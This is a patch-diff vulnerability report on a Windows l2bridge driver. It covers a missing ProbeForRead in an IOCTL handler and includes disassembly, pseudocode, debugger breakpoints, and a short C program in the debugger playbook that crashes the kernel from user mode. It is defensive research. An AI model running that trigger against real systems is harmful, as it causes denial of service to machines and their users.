1. Overview

Field Value
Unpatched binary l2bridge_unpatched.sys
Patched binary l2bridge_patched.sys
Overall similarity 0.4922
Matched functions 61
Changed functions 42
Identical functions 19
Unmatched (unpatched → patched) 0 / 0

Verdict. The patch fixes a missing ProbeForRead vulnerability in L2BridgeCtlBridgeInterfaces_Handler: a user-mode caller can submit an arbitrary pointer through DeviceIoControl on \\.\L2BRIDGE (IOCTL 0x12a000), and because the request is serviced through the driver's Fast I/O device-control routine (which hands over the caller's raw InputBuffer with no I/O-manager copy), the kernel handler dereferences that pointer before any size check, NULL check, or probe. The demonstrable impact is a reliable kernel crash (denial of service) from an unprivileged caller: the dereference reads 16 bytes from an attacker-controlled address, and the read value is consumed only internally (as two bridge-interface identifiers) and is never returned to the caller, so it is not a self-contained information leak. The rest of the 49% similarity delta is dominated by an unrelated driver feature upgrade (TCP segmentation / RSC support, struct-layout expansion), not security work.


2. Vulnerability Summary

Finding 1 — Missing ProbeForRead (CWE-125)

  • Severity: Medium
  • Vulnerability class: Missing ProbeForRead on a user-mode pointer passed via the Fast I/O device-control path (untrusted-pointer / out-of-bounds read; kernel-mode denial of service).
  • Affected function: L2BridgeCtlBridgeInterfaces_Handler @ 0x1c0009c5c (unpatched).
  • Attacker entry point: DeviceIoControl on \\.\L2BRIDGE, IOCTL 0x12a000, via the Fast I/O dispatch routine FilterFastDeviceIoControl @ 0x1c0009b40.

Root cause. The device \Device\l2bridge (Win32 name \\.\L2BRIDGE) registers a Fast I/O dispatch path. Fast I/O bypasses the I/O manager's IRP/METHOD_BUFFERED copy logic and hands the driver the raw user-mode InputBuffer pointer. The handler L2BridgeCtlBridgeInterfaces_Handler treats its first argument (rcx) as a 16-byte GUID and immediately executes:

movups  xmm0, xmmword [rcx]    ; dereference raw user ptr, NO probe

at 0x1c0009c6f, before the size check (cmp edx, 0x10 at 0x1c0009c85), before any NULL check, and before any ExGetPreviousMode() gate. The unpatched driver does not even import ProbeForRead or ExGetPreviousMode. The 16 bytes are then used as a GUID for L2BridgeFindandReferenceFilterModule.

What the patch does. The patched handler: 1. Performs the size check first (cmp edx, 0x10). 2. Adds test rcx, rcx (NULL check). 3. Calls ExGetPreviousMode(); only if the previous mode is User does it call ProbeForRead(arg1, 0x10, 4). 4. Only then dereferences *arg1.

Why it is exploitable. A user-mode caller can supply lpInBuffer of any 64-bit value — there is no requirement that it point inside the caller's address space. Consequences:

  • Pass an unmapped address (e.g. 0x1) → the kernel takes a page fault in movups → BSOD PAGE_FAULT_IN_NONPAGED_AREA (0x50). This is a reliable denial of service reachable from any caller that can open the device.
  • Pass a valid kernel address → the kernel reads 16 bytes from that address into XMM0 / stack. Those 16 bytes are split into two 8-byte bridge-interface identifiers that are used only as keys into L2BridgeFindandReferenceFilterModule; the read value itself is never copied back to the caller. The handler returns only a status code, so this is a blind read, not a self-contained information-disclosure primitive.

Call chain (attacker-reachable).

  1. User-mode process opens \\.\L2BRIDGE via CreateFileW.
  2. User-mode process calls DeviceIoControl(h, 0x12a000, lpInBuffer, nInBufferSize, ...).
  3. I/O Manager invokes the Fast I/O dispatch routine FilterFastDeviceIoControl @ 0x1c0009b40.
  4. At 0x1c0009b86, the routine loads the raw user pointer into rcx (mov rcx, rdi) and at 0x1c0009b89 calls L2BridgeCtlBridgeInterfaces_Handler @ 0x1c0009c5c.
  5. L2BridgeCtlBridgeInterfaces_Handler at 0x1c0009c6f executes movups xmm0, [rcx] — vulnerable dereference.
  6. The 16 bytes are then used as a GUID for L2BridgeFindandReferenceFilterModule @ 0x1c0009bb0 (called from 0x1c0009ca4).

3. Pseudocode Diff

// ============================== UNPATCHED ==============================
// L2BridgeCtlBridgeInterfaces_Handler @ 0x1c0009c5c
uint64_t L2BridgeCtlBridgeInterfaces_Handler(
    void*    arg1,   // raw user-mode InputBuffer pointer
    int32_t  arg2,   // InputBufferLength (edx)
    int64_t  arg3,
    int32_t  arg4)
{
    // <<< VULN: dereferences arg1 BEFORE any check
    __int128 guid0 = *(__int128*)arg1;

    // size / arg checks happen AFTER the deref
    if (arg2 < 0x10 || arg4 != 0 || arg3 != 0) {
        return STATUS_INVALID_PARAMETER; // 0xC000000D-ish
    }

    FILTER_MODULE* fm1 = L2BridgeFindandReferenceFilterModule(&guid0);
    ...
}

// =============================== PATCHED ===============================
// L2BridgeCtlBridgeInterfaces_Handler @ 0x140011a28
uint64_t L2BridgeCtlBridgeInterfaces_Handler(
    void*    arg1,
    int32_t  arg2,
    int64_t  arg3,
    int32_t  arg4)
{
    if (arg2 < 0x10 || arg1 == NULL || arg4 != 0 || arg3 != 0) {  // size + NULL check FIRST
        return STATUS_INVALID_PARAMETER;
    }

    if (ExGetPreviousMode() == UserMode) {        // <<< ADDED
        ProbeForRead(arg1, 0x10, sizeof(ULONG));  // <<< ADDED
    }

    __int128 guid0 = *(__int128*)arg1;            // safe dereference AFTER probe
    ...
}

The single most important line in the diff is the move of *arg1 to the bottom of the validation block. The unpatched version reads it at the top, before the size check can reject a zero-length buffer.


4. Assembly Analysis

L2BridgeCtlBridgeInterfaces_Handler (unpatched, 0x1c0009c5c)

0x1c0009c5c  mov     r11, rsp
0x1c0009c5f  mov     qword [r11+0x10], rbx
0x1c0009c63  mov     qword [r11+0x18], rbp
0x1c0009c67  push    rsi
0x1c0009c68  push    rdi
0x1c0009c69  push    r14
0x1c0009c6b  sub     rsp, 0x40
0x1c0009c6f  movups  xmm0, xmmword [rcx]   ; <<< VULN: deref raw user ptr, NO probe
0x1c0009c72  xor     eax, eax
0x1c0009c74  xor     edi, edi
0x1c0009c76  xor     esi, esi
0x1c0009c78  mov     qword [r11+0x8], rax
0x1c0009c7c  xor     r14b, r14b
0x1c0009c7f  movdqu  xmmword [rsp+0x30], xmm0   ; save the 16 bytes read from the user pointer
0x1c0009c85  cmp     edx, 0x10                   ; <<< size check is AFTER the deref
0x1c0009c88  jb      0x1c0009d92                  ; reject if InputBufferLength < 0x10
0x1c0009c8e  test    r9d, r9d                     ; arg4 == 0 ?
0x1c0009c91  jne     0x1c0009d92
0x1c0009c97  test    r8, r8                       ; arg3 == 0 ?
0x1c0009c9a  jne     0x1c0009d92
0x1c0009ca0  mov     rcx, qword [r11-0x28]        ; pointer to saved GUID
0x1c0009ca4  call    0x1c0009bb0                  ; L2BridgeFindandReferenceFilterModule
0x1c0009ca9  mov     rdi, rax                     ; result = filter module 1
0x1c0009cac  test    rax, rax
0x1c0009caf  jne     0x1c0009cbb
0x1c0009cb1  mov     ebx, 0xc0000225              ; STATUS_NOT_FOUND
0x1c0009cb6  jmp     0x1c0009e1d
0x1c0009cbb  mov     rcx, qword [rsp+0x38]        ; second GUID pointer
0x1c0009cc0  call    0x1c0009bb0                  ; L2BridgeFindandReferenceFilterModule
0x1c0009cc5  mov     rsi, rax
...
0x1c0009e1d  mov     rbp, qword [rsp+0x70]
0x1c0009e22  mov     eax, ebx
0x1c0009e24  mov     rbx, qword [rsp+0x68]
0x1c0009e29  add     rsp, 0x40
0x1c0009e2d  pop     r14
0x1c0009e2f  pop     rdi
0x1c0009e30  pop     rsi
0x1c0009e31  retn

Annotations:

  • 0x1c0009c6fmovups xmm0, xmmword [rcx] is the vulnerable instruction. rcx is the raw user InputBuffer with no ProbeForRead, no NULL check, no previous-mode gate.
  • 0x1c0009c85 — the size check (cmp edx, 0x10) that should have come first.
  • 0x1c0009ca4 — first use of the read bytes as a lookup key, in L2BridgeFindandReferenceFilterModule.

Patched equivalent (0x140011a28)

0x140011a28  mov     [rsp+arg_0], rsi
0x140011a2d  mov     [rsp+arg_10], rdi
0x140011a32  push    r12
0x140011a34  push    r14
0x140011a36  push    r15
0x140011a38  sub     rsp, 0x60
0x140011a3c  mov     rdi, rcx                   ; save raw ptr, do NOT deref yet
0x140011a3f  xor     esi, esi
0x140011a51  cmp     edx, 0x10                  ; size check FIRST
0x140011a54  jb      loc_140011b88
0x140011a5a  test    rcx, rcx                   ; <<< ADDED: NULL check
0x140011a5d  jz      loc_140011b88
0x140011a63  test    r9d, r9d
0x140011a66  jnz     loc_140011b88
0x140011a6c  test    r8, r8
0x140011a6f  jnz     loc_140011b88
0x140011a75  call    cs:__imp_ExGetPreviousMode ; <<< ADDED: previous-mode gate
0x140011a81  test    al, al
0x140011a83  jz      short loc_140011a9b        ; skip probe if kernel-mode caller
0x140011a85  lea     edx, [rsi+0x10]            ; Length = 0x10
0x140011a88  lea     r8d, [rsi+0x4]             ; Alignment = 4
0x140011a8c  mov     rcx, rdi                   ; Address = arg1
0x140011a8f  call    cs:__imp_ProbeForRead      ; <<< ADDED: ProbeForRead(arg1, 0x10, 4)
0x140011a9b  movups  xmm0, xmmword ptr [rdi]    ; dereference, AFTER probe
0x140011a9e  movdqu  [rsp+0x48], xmm0
0x140011aa4  mov     rcx, qword ptr [rsp+0x48]
0x140011aa9  call    L2BridgeFindandReferenceFilterModule

FilterFastDeviceIoControl (unpatched, 0x1c0009b40) — the entry path

0x1c0009b40  mov     qword [rsp+0x8], rbx
0x1c0009b45  push    rdi
0x1c0009b46  sub     rsp, 0x20
0x1c0009b4a  xor     ecx, ecx
0x1c0009b4c  mov     ebx, r9d                    ; ebx = OutputBufferLength
0x1c0009b4f  mov     rdi, r8                     ; rdi = InputBuffer (raw user ptr)
0x1c0009b52  call    qword [IoIs32bitProcess]
0x1c0009b59  nop
0x1c0009b5e  test    al, al
0x1c0009b60  je      0x1c0009b69
0x1c0009b69  cmp     dword [rsp+0x60], 0x12a000   ; IOCTL == 0x12a000 ?
0x1c0009b71  je      0x1c0009b7a
0x1c0009b7a  mov     r9d, dword [rsp+0x58]        ; arg4 (must be 0)
0x1c0009b7f  mov     edx, ebx                     ; edx = InputBufferLength
0x1c0009b81  mov     r8,  qword [rsp+0x50]        ; arg3 (must be 0)
0x1c0009b86  mov     rcx, rdi                     ; rcx = InputBuffer (RAW user ptr)
0x1c0009b89  call    0x1c0009c5c                  ; L2BridgeCtlBridgeInterfaces_Handler(...)
...
0x1c0009b9f  mov     al, 0x1                       ; return TRUE = Fast I/O handled

Note the absence of any probe or buffered-copy here as well — Fast I/O by contract hands the driver raw user pointers; the callee must do its own probing. The patched callee now does so.


5. Trigger Conditions

  1. Obtain a handle to the device: CreateFileW(L"\\\\.\\L2BRIDGE", GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL). The device is created by FilterRegisterDevice with no explicit SDDL, so it inherits default NDIS device ACLs (typically accessible to medium-IL user-mode callers on the local machine).
  2. Issue DeviceIoControl(h, 0x12a000, lpInBuffer, nInBufferSize, ...). The IOCTL decodes as DeviceType=0x12 (FILE_DEVICE_NETWORK), Function=0x800, Method=0 (METHOD_BUFFERED), Access=2 (FILE_WRITE_ACCESS). Although the code is METHOD_BUFFERED — which under normal IRP dispatch would make the I/O manager copy the input into a kernel SystemBuffer — the request is serviced by the driver's Fast I/O device-control routine, which hands over the caller's raw InputBuffer pointer with no such copy. The routine returns TRUE, so the Fast I/O path is taken and the raw pointer reaches the handler untouched.
  3. Set lpInBuffer to the target address the attacker wants the kernel to read 16 bytes from.
  4. BSOD DoS: pass lpInBuffer = (LPVOID)0x1 (or any unmapped user-mode address).
  5. Blind read (no crash): pass lpInBuffer = (LPVOID)<kernel VA> for a valid, mapped kernel address. The 16 bytes are read but not returned to the caller.
  6. nInBufferSize can be anything; the vulnerable movups at 0x1c0009c6f executes unconditionally before the size check at 0x1c0009c85. Setting it to 0x10 is harmless; setting it to 0 still triggers the dereference.
  7. No race conditions or special ordering required — single synchronous call.
  8. Confirmation:
  9. DoS path: BugCheck 0x50 PAGE_FAULT_IN_NONPAGED_AREA with the faulting address equal to the supplied lpInBuffer value and the faulting instruction at 0x1c0009c6f.
  10. Blind-read path: no crash for a valid, mapped kernel address; the 16 bytes are read into xmm0 and used internally only. Under a debugger, xmm0 immediately after 0x1c0009c6f shows the 16 read bytes, but nothing is returned to the caller.

6. Exploit Primitive & Development Notes

Primitive. The demonstrable primitive is:

  • Reliable BSOD / DoS from any caller that can open the device. Passing an unmapped pointer faults in movups xmm0, [rcx] at 0x1c0009c6f before any validation, producing a kernel bug check.

The dereference also performs a 16-byte read from the attacker-supplied address, but that value is consumed only as two lookup keys inside L2BridgeFindandReferenceFilterModule and is never copied back to user mode. The only caller-observable result is the returned status code, which reflects at most whether the read bytes happened to equal an existing filter-module identifier (an 8-byte exact-match test against a value the attacker does not control at that address). That is not a usable memory-disclosure oracle, so this bug does not by itself yield an information leak, KASLR defeat, or a read primitive that can be scanned across kernel memory. Turning the read into an actual disclosure would require a separate side channel or bug; none is provided by this handler.

Relevant mitigations.

Mitigation Effect on this bug
SMEP / SMAP Do not prevent the crash; the fault is a kernel-mode access to the attacker-supplied address. SMAP only restricts kernel access to user pages.
ProbeForRead (in the patched build) Closes the bug for user-mode callers: an invalid or non-readable user pointer is rejected by ProbeForRead (raising STATUS_ACCESS_VIOLATION inside a guarded region) instead of being dereferenced.

7. Debugger PoC Playbook

Assuming WinDbg/KD is attached to a target running l2bridge_unpatched.sys:

Breakpoints (ready-to-paste)

bp l2bridge!FilterFastDeviceIoControl+0x46     ; corresponds to 0x1c0009b86  load of raw InputBuffer into rcx
bp 0x1c0009c5c                                  ; L2BridgeCtlBridgeInterfaces_Handler entry  rcx = InputBuffer
bp 0x1c0009c6f                                  ; the vulnerable movups  last chance to inspect rcx
bp 0x1c0009ca4                                  ; call to L2BridgeFindandReferenceFilterModule  consumes the read bytes as lookup keys

If symbols are flaky, just use the absolute addresses above (bp 0x1c0009c6f, etc.). If the driver is relocated, get its base via lm m l2bridge and add the RVA: e.g. for base 0xFFFFF801'23400000, the vulnerable instruction is bp fffff801'23409c6f (RVA 0x9c6f).

What to inspect at each breakpoint

Breakpoint Register/Memory to watch Why
FilterFastDeviceIoControl (0x1c0009b86) rdi (= r8 on entry = raw InputBuffer); [rsp+0x60] should equal 0x12a000; ebx = InputBufferLength (copied from r9d on entry) Confirms IOCTL code and the raw pointer being forwarded.
L2BridgeCtlBridgeInterfaces_Handler (0x1c0009c5c) rcx = attacker-controlled InputBuffer pointer; edx = InputBufferLength; r8 = OutputBuffer (must be 0); r9d = OutputBufferLength (must be 0) Last point at which the pointer is intact in rcx.
Vulnerable movups (0x1c0009c6f) rcx — this is the address that will be read If rcx is 0x1 or unmapped → expect BSOD 0x50 next instruction. If rcx is a kernel VA → no fault; step one instruction and inspect xmm0.
After movups (0x1c0009c72) xmm0, [rsp+0x30] Contains the 16 bytes read from the supplied address; used only as two lookup keys, not returned to the caller.
L2BridgeFindandReferenceFilterModule (0x1c0009ca4) rcx (pointer to the saved 16 bytes on stack [r11-0x28]); result returned in rax Confirms how the read bytes are consumed; for a kernel VA input the keys will not match → rax = NULL → handler returns STATUS_NOT_FOUND (0xC0000225).

Key instructions / offsets

  • 0x1c0009c6fmovups xmm0, xmmword [rcx]the vulnerable instruction.
  • 0x1c0009c85cmp edx, 0x10 — size check that should have come first.
  • 0x1c0009ca0mov rcx, qword [r11-0x28] — sets up the GUID pointer argument for the lookup.
  • 0x1c0009ca4call 0x1c0009bb0 (L2BridgeFindandReferenceFilterModule).
  • 0x1c0009b86 / 0x1c0009b89 — in FilterFastDeviceIoControl: load InputBuffer into rcx and call the handler.
  • Patch's added instructions (to diff against the unpatched build): test rcx, rcx, call qword [ExGetPreviousMode], call qword [ProbeForRead]. The unpatched import table does not contain either ExGetPreviousMode or ProbeForRead.

Trigger setup (from user mode)

#include <windows.h>
int main() {
    HANDLE h = CreateFileW(L"\\\\.\\L2BRIDGE",
                           GENERIC_READ | GENERIC_WRITE,
                           0, NULL, OPEN_EXISTING, 0, NULL);
    if (h == INVALID_HANDLE_VALUE) { return GetLastError(); }

    // Path A — instant BSOD (DoS). Pointer 0x1 is unmapped.
    DWORD bytes;
    DeviceIoControl(h, 0x12a000, (LPVOID)0x1, 0x10, NULL, 0, &bytes, NULL);

    // Path B — blind 16-byte kernel read (value is NOT returned to the caller).
    // Replace <kernelVA> with a known mapped kernel address.
    // ULONG_PTR target = <kernelVA>;
    // DeviceIoControl(h, 0x12a000, (LPVOID)target, 0x10, NULL, 0, &bytes, NULL);

    CloseHandle(h);
    return 0;
}

Expected observation

  • DoS path: BugCheck 0x50 (PAGE_FAULT_IN_NONPAGED_AREA); parameter 1 = the lpInBuffer value (0x1); faulting IP = 0x1c0009c6f.
  • Blind-read path: call returns STATUS_NOT_FOUND (0xC0000225) (mapped from the handler's ebx = 0xc0000225 at 0x1c0009cb1). No crash. Under the debugger, xmm0 after 0x1c0009c6f holds the 16 bytes read from the supplied kernel address, but that value is not returned to user mode.

Struct / offset notes

  • L2BridgeCtlBridgeInterfaces_Handler argument layout (x64 fastcall): rcx = arg1 (InputBuffer, dereferenced as 16 bytes = two 8-byte interface identifiers), edx = arg2 (InputBufferLength), r8 = OutputBuffer, r9d = OutputBufferLength. Both OutputBuffer and OutputBufferLength must be 0 to reach the lookup path.
  • FilterFastDeviceIoControl (FastIoDeviceControl callback) reads on entry r8 = InputBuffer, r9d = InputBufferLength (copied to ebx); the stack args land at [rsp+0x50] = OutputBuffer, [rsp+0x58] = OutputBufferLength, [rsp+0x60] = IoControlCode, [rsp+0x68] = IoStatus.
  • The saved 16 bytes live on the handler stack at [rsp+0x30] (the second 8-byte identifier is sourced from [rsp+0x38]).
  • FILTER_MODULE layout: in the unpatched build, +0x84 holds the field compared between the two looked-up filter modules (cmp dword [rdi+0x84], eax at 0x1c0009cdd). In the patched build this moves to +0x8c because of a new 8-byte RWLock field inserted at offset 0x10 of the structure.

8. Changed Functions — Full Triage

Security-relevant changes:

  • L2BridgeCtlBridgeInterfaces_Handler (sim 0.82, security_relevant): the headline fix. Adds ProbeForRead(arg1, 0x10, 4) gated on ExGetPreviousMode() == UserMode, plus a NULL check and reordering of the size check. The unpatched build imports neither ProbeForRead nor ExGetPreviousMode.
  • FilterFastDeviceIoControl (sim 0.99, security_relevant): the entry point to the bug. Both versions forward the raw InputBuffer as rcx to the handler; the fix is in the callee, so this function is essentially unchanged except for a minor result-store reordering.
  • GetLinkLayerAddressFromND (sim 0.85, not security-relevant): replaces unsigned-subtraction ICMPv6 type/code range checks (unpatched at 0x1c000260f: type + 0x79 <= 1, and code - 1 <= 1) with explicit equality checks (patched at 0x14000241b: type == 0x87 || type == 0x88, code == 1 || code == 2). The two forms accept exactly the same value sets ({0x87,0x88} and {1,2}), so this is a functionally equivalent refactor, not a security boundary change. The type and code are single bytes, so the unsigned subtraction did not admit any additional value; there is no exploitable difference.

Behavioral (non-security) changes — feature upgrade across the driver:

  • L2BridgeCloneIPv6NBL (sim 0.82): adds LookupIPv6AddressInTable in the non-multicast / non-ND path for destination-MAC rewrite.
  • ReceiveNetBufferList (sim 0.93), SendNetBufferList (sim 0.88), FilterReceiveNetBufferLists (sim 0.88), FilterSendNetBufferLists (sim 0.92), FilterSendNetBufferListsComplete (sim 0.78): multicast/unicast decision restructure, NBL splitting simplification, and adapted call signatures.
  • ForwardNBLToFilterModule (sim 0.90): adds HandleRSCPacket / RSC handling; NBL context allocation grows from 0x200x28.
  • DriverEntry (sim 0.54): biggest non-security diff — adds wil_InitializeFeatureStaging, TCP segmentation library (IppBatchingLibContext, IppSegLibContext, Feature_TCPIP_2025_Wave2_SegLibHeap, MdpCreatePool), NetioCopyNetBufferListQosInformation resolution, and FilterStatus registration.
  • FilterAttach (sim 0.88): filter module structure grows from 0xe00xe8 (new RWLock field), replaces single rundown with two separate allocations, adds NdisAllocateRWLock.
  • L2BridgeCloneNBL (sim 0.61), L2BridgeDeepCopyNBL (sim 0.98): context allocation 0x200x28.
  • AddOrUpdateIPv6RewriteTable (sim 0.87): pool tag NonPagedPoolNx0x600 (which is NonPagedPoolNx), struct-offset shifts.
  • FilterOidRequest (sim 0.93) and FilterOidRequestComplete (sim 0.82): handle OID request types 0 (set) and 2 (method) in addition to 1 (query) in the completion path.
  • DriverUnload (sim 0.65): extra cleanup for the new RSC / feature-staging resources.

Cosmetic / register-allocation-only changes (collapsed).

A large block of functions diff purely due to the 8-byte FILTER_MODULE layout shift (the new RWLock at offset 0x10 cascading offsets 0x84→0x8c, 0xd8→0xe0, 0x60→0x68, 0x5c→0x64, 0x88→0x90, 0xa0→0xa8, 0xa1→0xa9, 0xa4→0xac, 0x10→0x18, etc.) and to compiler differences. These are: RewritePacket, FilterRegisterDevice, FilterSendNetBufferListsComplete, L2BridgeFreeNBL, IsIPv6, DEREF_FILTER_MODULE, CreateBridge, DisconnectInterfaceFromBridge, FreeBridgeResources, FilterReturnNetBufferLists, AddOrUpdateMACForwardingTable, LookupMACAddressInTable, LookupIPv6AddressInTable, LookupTable, CleanupTable, RemoveUnusedEntries, L2BridgeIssueOid, FilterDetach, FilterDispatchSuccess, FilterDispatchNotSupported, FilterDeregisterDevice, memcpy, memset, __GSHandlerCheckCommon. None of these introduce or remove a security boundary.


9. Unmatched Functions

Both unmatched_unpatched and unmatched_patched are empty (0 / 0). There are no added or removed functions; the entire diff is intra-function.


10. Confidence & Caveats

Confidence: High that the missing ProbeForRead is a genuine security fix. The vulnerable instruction, its offset, the entry-path call chain, and the patch's added ProbeForRead/ExGetPreviousMode are directly evidenced by the assembly, the decompilation, and the fact that the unpatched driver imports neither symbol (0 occurrences in the unpatched build, 1 each in the patched build). The IOCTL code 0x12a000 is confirmed by the literal compare at 0x1c0009b69. The severity is set to Medium because the only demonstrable, caller-observable impact is a local kernel denial of service; the 16-byte read is blind (never returned to the caller), so it is not a self-contained information-disclosure primitive.

Assumptions / inferred pieces:

  • Device access is assumed to be available to a medium-IL local user because FilterRegisterDevice registers the device with no explicit SDDL. A researcher should verify the effective ACL on \\.\L2BRIDGE on the target OS build (default NDIS device ACLs vary between Windows versions). If the ACL is restrictive, the attacker needs a more privileged principal or an indirect path that opens the handle on their behalf.
  • The exact Win32 name (\\.\L2BRIDGE) is inferred from the \DosDevices\L2BRIDGE symbolic link visible in FilterRegisterDevice. Confirm with winobj / !object \Device\l2bridge in the debugger.
  • The 16-byte read is blind: the value is used only as two lookup keys and is never returned to the caller, so this bug does not by itself disclose kernel memory. The demonstrable impact is a kernel denial of service.
  • All absolute addresses (0x1c0009c5c, etc.) are file offsets within the analyzed build. If the driver is recompiled or ASLR-relocated at load time, recompute from lm m l2bridge.

What to verify manually before claiming exploitability:

  1. Effective security descriptor on \Device\l2bridge / \\.\L2BRIDGE (!sd in KD on the device object).
  2. Whether the Fast I/O path is actually taken for IOCTL 0x12a000 at runtime (set the breakpoint at FilterFastDeviceIoControl and confirm the call lands there rather than falling back to IRP-based dispatch).
  3. Whether the movups fault on an unmapped pointer is delivered as a clean 0x50 BugCheck or first hits a structured exception handler (__try/__except) anywhere up the stack — the analysis shows no SEH around the dereference, but a debugger trace will confirm.
  4. The effective ACL on the device object, which determines whether an unprivileged caller can reach this path at all. The handler itself never writes back to the user-supplied pointer (it is only read as two lookup keys), so there is no user-controlled write primitive in this function.